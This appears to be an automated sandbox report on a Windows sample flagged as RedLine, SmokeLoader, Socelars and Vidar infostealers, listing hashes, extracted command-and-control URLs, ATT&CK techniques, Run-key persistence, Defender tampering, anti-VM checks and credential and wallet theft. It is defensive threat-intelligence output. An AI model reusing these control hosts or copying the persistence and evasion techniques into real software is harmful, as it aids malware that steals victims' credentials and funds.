redline | 69e42871ae2cfe22692d5f17fa23b9b315d9f05efd4a5c4a0d89c5922bcbee7d

Analysis

max time kernel
150s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
20-07-2021 22:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1A62A7EBF208B538DB86F5BE062DFEE8.exe
Size

2.5MB
MD5

1a62a7ebf208b538db86f5be062dfee8
SHA1

4152e4b39954716ee2599439524354d620780697
SHA256

69e42871ae2cfe22692d5f17fa23b9b315d9f05efd4a5c4a0d89c5922bcbee7d
SHA512

47f04de4ee6341eeeb51f4094783fc1e12a404f81cebceed4f8f5f1bf4e52e37c1b396046eb88b4dcf07b8374b97717e45a4cdc10b387ce0889d60caedda4ddc

Score

10^/10

redline smokeloader socelars vidar 933 aninew aspackv2 backdoor discovery evasion infostealer persistence spyware stealer trojan upx

Malware Config

Extracted

Family

vidar

Version

39.6

Botnet

933

https://sslamlssa1.tumblr.com/

Attributes

profile_id
933

Extracted

Family

smokeloader

Version

2020

http://conceitosseg.com/upload/

http://integrasidata.com/upload/

http://ozentekstil.com/upload/

http://finbelportal.com/upload/

http://telanganadigital.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

AniNEW

akedauiver.xyz:80

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rUNdlL32.eXerUNdlL32.eXerUNdlL32.eXe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4144	4044	rUNdlL32.eXe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3432	4044	rUNdlL32.eXe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5300	5236	rUNdlL32.eXe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2704-336-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/2704-337-0x0000000000417E1A-mapping.dmp	family_redline
behavioral2/memory/4168-398-0x0000000000417DE2-mapping.dmp	family_redline
behavioral2/memory/4168-406-0x0000000005090000-0x0000000005696000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 4796 created 4872 4796 WerFault.exe setup.exe
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

svchost.exe

description pid process target process

PID 1972 created 2264 1972 svchost.exe a6oZjCmUSAZfJyCwEfurrdC5.exe
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

description	pid	process	target process
PID 4796 created 4872	4796	WerFault.exe	setup.exe

description	pid	process	target process
PID 1972 created 2264	1972	svchost.exe	a6oZjCmUSAZfJyCwEfurrdC5.exe

Nirsoft 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4172-308-0x0000000000400000-0x0000000000455000-memory.dmp	Nirsoft
C:\Users\Admin\AppData\Local\Temp\11111.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\11111.exe	Nirsoft
behavioral2/memory/4168-406-0x0000000005090000-0x0000000005696000-memory.dmp	Nirsoft

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/3820-180-0x0000000002630000-0x00000000026CD000-memory.dmp	family_vidar
behavioral2/memory/3820-181-0x0000000000400000-0x00000000009EF000-memory.dmp	family_vidar

ASPack v2.12-2.42 8 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\libstdc++-6.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS02B84404\libstdc++-6.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS02B84404\libcurl.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS02B84404\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\libcurlpp.dll	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exearnatic_2.exearnatic_7.exearnatic_3.exearnatic_5.exearnatic_4.exerundll32.exearnatic_6.exearnatic_1.exe8575425.exe4728412.exe6708600.exe8854983.exejhuuee.exeOLKbrowser.exesetup 326.exesetup.exezhangd.exeWinHoster.exewinnetdriv.exeChrome Update.exe11111.exejfiag3g_gg.exezhangd.exeOLKbrowser.exe11111.exejfiag3g_gg.exe22222.exe22222.exe6708600.exeA4l8oE2nSW9AgZVhWBZdWy7J.exeKQfisfdolyXiR61ztQ4J4Rs4.exebnXuFZ_V4jogGZF7i06fptXr.exeZXDQLm6hCeP98sXoh301fiSa.exe5IqyhPKdMbUX_ZBggyofw05T.exe4eoqwQ8o552A7Vb0i4Q8aPVL.exeQxIsXqtJ8wwmehX1XtJ7HGxK.exeWMl8IllC51ycE9kotVpQsxif.exe3YjZ7cfhK4892S8nlSUawp32.exejN8DwAppdjfKRtyGfwLxgzIL.exea6oZjCmUSAZfJyCwEfurrdC5.exengLZxalN1_wRq6hrIcxLJZOA.exeyN_x518PbsdA0Ja38LBGSOu7.exeB3b0Y1FMIO52HsneZWYr5ysM.exe7acm7FKtWdYJ9B2d4BHTtDGe.exengLZxalN1_wRq6hrIcxLJZOA.exejN8DwAppdjfKRtyGfwLxgzIL.exeUpdater.exe8_scXCrWoI_9MLe1LcnIH1dC.exe4eoqwQ8o552A7Vb0i4Q8aPVL.exeA4l8oE2nSW9AgZVhWBZdWy7J.exe8_scXCrWoI_9MLe1LcnIH1dC.exeoEDySmntZ_9Dzy2qDEchgSuO.exengLZxalN1_wRq6hrIcxLJZOA.exengLZxalN1_wRq6hrIcxLJZOA.exeAcre.exe.coma6oZjCmUSAZfJyCwEfurrdC5.exe11111.exeAcre.exe.comMicrosoftEdgeCP.exe1234.exeTrustedInstaller.exe

pid	process
2848	setup_installer.exe
624	setup_install.exe
3648	arnatic_2.exe
1288	arnatic_7.exe
3820	arnatic_3.exe
1456	arnatic_5.exe
1856	arnatic_4.exe
2168	rundll32.exe
2820	arnatic_6.exe
3588	arnatic_1.exe
2168	rundll32.exe
4200	8575425.exe
4248	4728412.exe
4328	6708600.exe
4448	8854983.exe
4528	jhuuee.exe
4644	OLKbrowser.exe
4776	setup 326.exe
4872	setup.exe
4984	zhangd.exe
5060	WinHoster.exe
5072	winnetdriv.exe
2052	Chrome Update.exe
4172	11111.exe
4720	jfiag3g_gg.exe
4828	zhangd.exe
2704	OLKbrowser.exe
4144	11111.exe
192	jfiag3g_gg.exe
4932	22222.exe
4252	22222.exe
4168	6708600.exe
4516	A4l8oE2nSW9AgZVhWBZdWy7J.exe
4352	KQfisfdolyXiR61ztQ4J4Rs4.exe
3432	bnXuFZ_V4jogGZF7i06fptXr.exe
4824	ZXDQLm6hCeP98sXoh301fiSa.exe
5116	5IqyhPKdMbUX_ZBggyofw05T.exe
3816	4eoqwQ8o552A7Vb0i4Q8aPVL.exe
4720	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
5044	WMl8IllC51ycE9kotVpQsxif.exe
4540	3YjZ7cfhK4892S8nlSUawp32.exe
5040	jN8DwAppdjfKRtyGfwLxgzIL.exe
2264	a6oZjCmUSAZfJyCwEfurrdC5.exe
3540	ngLZxalN1_wRq6hrIcxLJZOA.exe
4476	yN_x518PbsdA0Ja38LBGSOu7.exe
3060	B3b0Y1FMIO52HsneZWYr5ysM.exe
4228	7acm7FKtWdYJ9B2d4BHTtDGe.exe
4560	ngLZxalN1_wRq6hrIcxLJZOA.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe
4496	Updater.exe
3740	8_scXCrWoI_9MLe1LcnIH1dC.exe
3064	4eoqwQ8o552A7Vb0i4Q8aPVL.exe
4572	A4l8oE2nSW9AgZVhWBZdWy7J.exe
4448	8_scXCrWoI_9MLe1LcnIH1dC.exe
5104	oEDySmntZ_9Dzy2qDEchgSuO.exe
1684	ngLZxalN1_wRq6hrIcxLJZOA.exe
5144	ngLZxalN1_wRq6hrIcxLJZOA.exe
5912	Acre.exe.com
4852	a6oZjCmUSAZfJyCwEfurrdC5.exe
5188	11111.exe
5392	Acre.exe.com
5840	MicrosoftEdgeCP.exe
4280	1234.exe
3824	TrustedInstaller.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

yN_x518PbsdA0Ja38LBGSOu7.exeB3b0Y1FMIO52HsneZWYr5ysM.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	yN_x518PbsdA0Ja38LBGSOu7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	yN_x518PbsdA0Ja38LBGSOu7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	B3b0Y1FMIO52HsneZWYr5ysM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	B3b0Y1FMIO52HsneZWYr5ysM.exe

Drops startup file 2 IoCs

Processes:

Acre.exe.comSensitive.exe.com

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url	Acre.exe.com
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QkqVJFpwBk.url	Sensitive.exe.com

Loads dropped DLL 21 IoCs

Processes:

setup_install.exearnatic_2.exerundll32.exerundll32.exearnatic_3.exerundll32.exeKQfisfdolyXiR61ztQ4J4Rs4.exejN8DwAppdjfKRtyGfwLxgzIL.exe1579.exe

pid	process
624	setup_install.exe
624	setup_install.exe
624	setup_install.exe
624	setup_install.exe
624	setup_install.exe
3648	arnatic_2.exe
4164	rundll32.exe
2168	rundll32.exe
3820	arnatic_3.exe
3820	arnatic_3.exe
5316	rundll32.exe
4352	KQfisfdolyXiR61ztQ4J4Rs4.exe
4352	KQfisfdolyXiR61ztQ4J4Rs4.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe
5832	1579.exe
5832	1579.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe
3848	jN8DwAppdjfKRtyGfwLxgzIL.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

1579.exejhuuee.exe4728412.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\1579.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1579.exe"	1579.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	jhuuee.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4728412.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	1579.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

B3b0Y1FMIO52HsneZWYr5ysM.exeyN_x518PbsdA0Ja38LBGSOu7.exeWMl8IllC51ycE9kotVpQsxif.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	B3b0Y1FMIO52HsneZWYr5ysM.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	yN_x518PbsdA0Ja38LBGSOu7.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WMl8IllC51ycE9kotVpQsxif.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ipinfo.io
11 ipinfo.io
27 ip-api.com
144 api.ipify.org

flow	ioc
10	ipinfo.io
11	ipinfo.io
27	ip-api.com
144	api.ipify.org

Drops file in System32 directory 2 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent F468859599EFCF9D	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

B3b0Y1FMIO52HsneZWYr5ysM.exeyN_x518PbsdA0Ja38LBGSOu7.exe

pid process

3060 B3b0Y1FMIO52HsneZWYr5ysM.exe
4476 yN_x518PbsdA0Ja38LBGSOu7.exe

pid	process
3060	B3b0Y1FMIO52HsneZWYr5ysM.exe
4476	yN_x518PbsdA0Ja38LBGSOu7.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

svchost.exeOLKbrowser.exe6708600.exejN8DwAppdjfKRtyGfwLxgzIL.execmd.exe22222.exengLZxalN1_wRq6hrIcxLJZOA.exengLZxalN1_wRq6hrIcxLJZOA.exe1234.exe

description	pid	process	target process
PID 2296 set thread context of 4340	2296	svchost.exe	svchost.exe
PID 4644 set thread context of 2704	4644	OLKbrowser.exe	OLKbrowser.exe
PID 4328 set thread context of 4168	4328	6708600.exe	6708600.exe
PID 5040 set thread context of 3848	5040	jN8DwAppdjfKRtyGfwLxgzIL.exe	jN8DwAppdjfKRtyGfwLxgzIL.exe
PID 3816 set thread context of 3064	3816	cmd.exe	4eoqwQ8o552A7Vb0i4Q8aPVL.exe
PID 4516 set thread context of 4572	4516	22222.exe	A4l8oE2nSW9AgZVhWBZdWy7J.exe
PID 3540 set thread context of 5104	3540	ngLZxalN1_wRq6hrIcxLJZOA.exe	oEDySmntZ_9Dzy2qDEchgSuO.exe
PID 4560 set thread context of 3540	4560	ngLZxalN1_wRq6hrIcxLJZOA.exe	ngLZxalN1_wRq6hrIcxLJZOA.exe
PID 4280 set thread context of 5344	4280	1234.exe	1234.exe

Drops file in Program Files directory 7 IoCs

Processes:

QxIsXqtJ8wwmehX1XtJ7HGxK.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
File created	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini	QxIsXqtJ8wwmehX1XtJ7HGxK.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe	QxIsXqtJ8wwmehX1XtJ7HGxK.exe

Drops file in Windows directory 4 IoCs

Processes:

setup 326.exeWerFault.exeMicrosoftEdge.exe

description	ioc	process
File created	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup 326.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 10 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process
3336	2052	WerFault.exe
4896	4872	WerFault.exe	setup.exe
4388	4872	WerFault.exe	setup.exe
4660	4872	WerFault.exe	setup.exe
1848	4872	WerFault.exe	setup.exe
4836	4872	WerFault.exe	setup.exe
4796	4872	WerFault.exe	setup.exe
4788	4200	WerFault.exe	8575425.exe
2196	2264	WerFault.exe	a6oZjCmUSAZfJyCwEfurrdC5.exe
948	5832	WerFault.exe	1579.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

arnatic_2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

arnatic_3.exeKQfisfdolyXiR61ztQ4J4Rs4.exe1579.exesvchost.exe4eoqwQ8o552A7Vb0i4Q8aPVL.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	arnatic_3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KQfisfdolyXiR61ztQ4J4Rs4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KQfisfdolyXiR61ztQ4J4Rs4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1579.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	1579.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	arnatic_3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4eoqwQ8o552A7Vb0i4Q8aPVL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4eoqwQ8o552A7Vb0i4Q8aPVL.exe

Delays execution with timeout.exe 4 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exe

pid process

4752 timeout.exe
6068 timeout.exe
4716 timeout.exe
5824 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4176 taskkill.exe
5516 taskkill.exe
2696 taskkill.exe
5844 taskkill.exe

pid	process
4752	timeout.exe
6068	timeout.exe
4716	timeout.exe
5824	timeout.exe

pid	process
4176	taskkill.exe
5516	taskkill.exe
2696	taskkill.exe
5844	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

a6oZjCmUSAZfJyCwEfurrdC5.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	a6oZjCmUSAZfJyCwEfurrdC5.exe
